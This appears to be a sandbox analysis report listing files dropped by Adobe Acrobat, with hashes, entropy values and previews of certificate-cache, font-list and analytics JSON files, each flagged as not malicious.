Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklHSltfllXlE/HT8kkAll7l/tNNX8RolJuRdxLlGB9lQRYwpDdt:kKJeT8ylz7NMa8RdWBwRd
MD5:	A7CD5D3B8CD3DF24D554C156DA236492
SHA1:	6974CAE0FD0EC3B41F0F55ABC1BDA0556435EC66
SHA-256:	5D17A7A982A7E2E718D9BE2695FF3321A6A07E3239E23CA4263C81271E2E10BA
SHA-512:	6BC71A887300BD3A7FC4A9B438D9CD0F35850385A17FF96B07452048C0B24DDCF2A8D901C2E54432F65007028CFB908F978DB5AA190FC9B740C959C962085004
Malicious:	false
Preview:	p...... ..........G..c..(....................................................... ..........W.....e..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kK9L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:FiDImsLNkPlE99SNxAhUe/3
MD5:	DB8DCDF6A086764B07059D97634D1D99
SHA1:	FD51BDBE6E8BB4B40B6D3CD3F5ACE4E9E4020FBF
SHA-256:	9010CD953E3B6A39334A253657A6F59C7901E696A3BED59FC3BCD724131EACC9
SHA-512:	49FE14C4892EACC46334AC91AF46BED27B978E69D01F14A63842841AED871BC29AFE1E40FFABB06F9DFB2566869575CC4440DECE22C321905288F96DE39CAEAA
Malicious:	false
Preview:	p...... .........A...c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2884

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2884

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.309431138603284
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMXLrN9p7+FIbRI6XVW7+0YkqoAvJM3g98kUwPeUkwRe9:YvXKXMbJ9pyYpW7bZGMbLUkee9
MD5:	517DDAB265051347DB0FBAEF0CA90986
SHA1:	DCF3A510D2FA978D975EF5FD4F3D822332312D5E
SHA-256:	52D7638B34CFE9C23C9551A33FC19E5137F9A861EF335CA1D8A576031CB1F69C
SHA-512:	7A2155582DF7E6A7EC82019D4D9DEF9972F541211240169B17AD573CC16AE7D08B9E21E7E0D25AFF8BA0F40A6B31F2841B43972E812DB3786EFB203DD861D090
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"edee5cb2-9b04-41ba-836a-1eeeddebd1b1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736751429265,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.244323526565681
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMXLrN9p7+FIbRI6XVW7+0YkqoAvJfBoTfXpnrPeUkwRe9:YvXKXMbJ9pyYpW7bZGWTfXcUkee9
MD5:	846B37D8727B87147A2A70F408B320BF
SHA1:	3C25AB42E869E36D54E14714C986809C358BF4DC
SHA-256:	4A489B749225BB9B96A5536B21C5BEF0572FED8D4711F35B296ABB5458E4EBAD
SHA-512:	8B98FD077F1B6C68605A2E6F0F613CCB406DE321E1C5295C46113766F9380BA568C27A5C772FF369F9C159E800B3A79C0B1720568F99E0406E9A95B2B068A025
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"edee5cb2-9b04-41ba-836a-1eeeddebd1b1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736751429265,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.224552057384516
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMXLrN9p7+FIbRI6XVW7+0YkqoAvJfBD2G6UpnrPeUkwRe9:YvXKXMbJ9pyYpW7bZGR22cUkee9
MD5:	16F5196A5F229063E1BEC4A981535B36
SHA1:	A516E94CA5E004706C98667DE785DCB5A548EE21
SHA-256:	54E9D21BBA15892FB7093C103671EEDAEDC82649D0A80A401E9144AEE2AD6003
SHA-512:	2B445745CB183B5FE5E73CD5A5122CA053BB0B249DB76639DFCAC653EB10DAFB1DE06F44C3085E1883D11B7900C63833B535CCD13CDEF5139731B845BA24ED0C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"edee5cb2-9b04-41ba-836a-1eeeddebd1b1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736751429265,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.286431656688311
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMXLrN9p7+FIbRI6XVW7+0YkqoAvJfPmwrPeUkwRe9:YvXKXMbJ9pyYpW7bZGH56Ukee9
MD5:	B50DC6F636D4E4D1146A281BAA02C97C
SHA1:	B605EA2F63117E9C5E97E9B256D3E41A8E462B42
SHA-256:	40025EDDA4AEF16105FCD26F959C1127D59C322F7C06940AD49971703AEB45B6
SHA-512:	8E0490EB32C9336418D3B9655F3B69581336DA88627C1284701115401FBE91D1A82E36596A1781767FC7863F48B49C2BD8D00982E2A1FE3177083D4D4514F304
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"edee5cb2-9b04-41ba-836a-1eeeddebd1b1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736751429265,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.676201005715131
Encrypted:	false
SSDEEP:	24:Yv6XQvhib+pLgE9cQx8LennAvzBvkn0RCmK8czOCCSO:YvLv4b+hgy6SAFv5Ah8cv/O
MD5:	13B1F5E604AB9B34594B6A11E3754139
SHA1:	3F4BF667C4421D483889F8C18CF36D173DCF357C
SHA-256:	6EB657EFE7280B8E4F3EC1EAD04D2E6AA124C234B20583C45A4CD0CCC51BB885
SHA-512:	9D1EF4834466EA6F319315E3DC8216ED92DB5771B4B1034917AC175F33700B9CC8B947ED28CC5F6F3A36633F05C5F577E854D9006A4AF4EC6F94BA2623B19C05
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"edee5cb2-9b04-41ba-836a-1eeeddebd1b1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736751429265,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.225653108759713
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMXLrN9p7+FIbRI6XVW7+0YkqoAvJf8dPeUkwRe9:YvXKXMbJ9pyYpW7bZGU8Ukee9
MD5:	5C1CEB22C762F0C7F9BE67BC88073E8D
SHA1:	F3E39AF5F02C47222F772F6522A8D7F8D5D6342D
SHA-256:	BC6B81DC5C2B27E517EC4566B3EC4B7518073966453FAFFEA47AA27070CFA881
SHA-512:	71AA3C46B5E45CA6210411DE810E749F9346A0B27B771541CEE520BDE62A18E397ED9DC8EFD9229BCC18AFDFB48E62E3144ABA5797A9950D54A9E428B593CBA8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"edee5cb2-9b04-41ba-836a-1eeeddebd1b1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736751429265,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.226148402078783
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMXLrN9p7+FIbRI6XVW7+0YkqoAvJfQ1rPeUkwRe9:YvXKXMbJ9pyYpW7bZGY16Ukee9
MD5:	EC45307A64B54F40C5DFC3C5F6F5A864
SHA1:	C9E67D646C936E5B7FE69C34F74E5191250D5EF0
SHA-256:	BDF9047EB5457AF3DC53CF5764424B8A2BA7EA08EAFE6483A97EEDA6D93034D2
SHA-512:	0DA5B4413C5E987EC8387C0CF2123E3E2409E9A61DCECA21DFD2BD001B13373E28A221C2B9379D83A353094062E068D44E1A066E69189F2374BE7A6EA12DCA5D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"edee5cb2-9b04-41ba-836a-1eeeddebd1b1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736751429265,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.244118638757444
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMXLrN9p7+FIbRI6XVW7+0YkqoAvJfFldPeUkwRe9:YvXKXMbJ9pyYpW7bZGz8Ukee9
MD5:	8469C877D6DE6D51D0FFEE8888F8A3E0
SHA1:	2B2E8F65A82C5964F14D8A587BC442B4DA6A554E
SHA-256:	3077CF0C640327CE8F8418E54A9D95D0A4B41474FBD4CD7C79D59AC7B8906DC3
SHA-512:	350398609EA4850FE0A60053B243B69F72A9C3F15D56B69B5B77B69F1A20BB7AC77FA495649551E60F78A89297EC2E121AECCD740E2AE4741516D1EBC1DA2B2E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"edee5cb2-9b04-41ba-836a-1eeeddebd1b1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736751429265,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.252612501707566
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMXLrN9p7+FIbRI6XVW7+0YkqoAvJfzdPeUkwRe9:YvXKXMbJ9pyYpW7bZGb8Ukee9
MD5:	A775CEAF6897A55921C1A49ADF19D22E
SHA1:	FDF80BE1018214091667EE243C1EACB911A606AF
SHA-256:	6D58E4DC2F8B90D60D36B05648146AF44FA03215F2937A98E44198625FCEA802
SHA-512:	5F5A09680DB17513A7D0EFDEB1F10ADC5CF626B1FF9A572257BDB26E72029EC48263A48A5FE1546CEEF2CEE59E6D20FDB4F509E800486E00010C713E9DC98E5D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"edee5cb2-9b04-41ba-836a-1eeeddebd1b1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736751429265,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.231870408096249
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMXLrN9p7+FIbRI6XVW7+0YkqoAvJfYdPeUkwRe9:YvXKXMbJ9pyYpW7bZGg8Ukee9
MD5:	08F6585218DE2198E0F3642E3B892803
SHA1:	C0B23A4206322FF2CFF351A0A859422FC8506FA0
SHA-256:	96E033F7C957E37C864ACB301E6DC2372161F4EB01D52462FB69D364C5FE488B
SHA-512:	D0915670843D85DE14BCDE96894DD785F1B54477733FAF1FE02AB2C8E2C0954CA0467398DF895054B2B2AC4F2DD4111051FF6C04D73928651ADD59FD79F8A80E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"edee5cb2-9b04-41ba-836a-1eeeddebd1b1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736751429265,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.218297235561786
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMXLrN9p7+FIbRI6XVW7+0YkqoAvJf+dPeUkwRe9:YvXKXMbJ9pyYpW7bZG28Ukee9
MD5:	B98700C5BCCAB1BED827ED0236EEE48F
SHA1:	3E9AE4D95FE5FAB0B07E1C3E89016176C1332E10
SHA-256:	9EA8A571A4E297787E27F5A41A8D72E37B5881E0C15F35BC7DB3503BC343C353
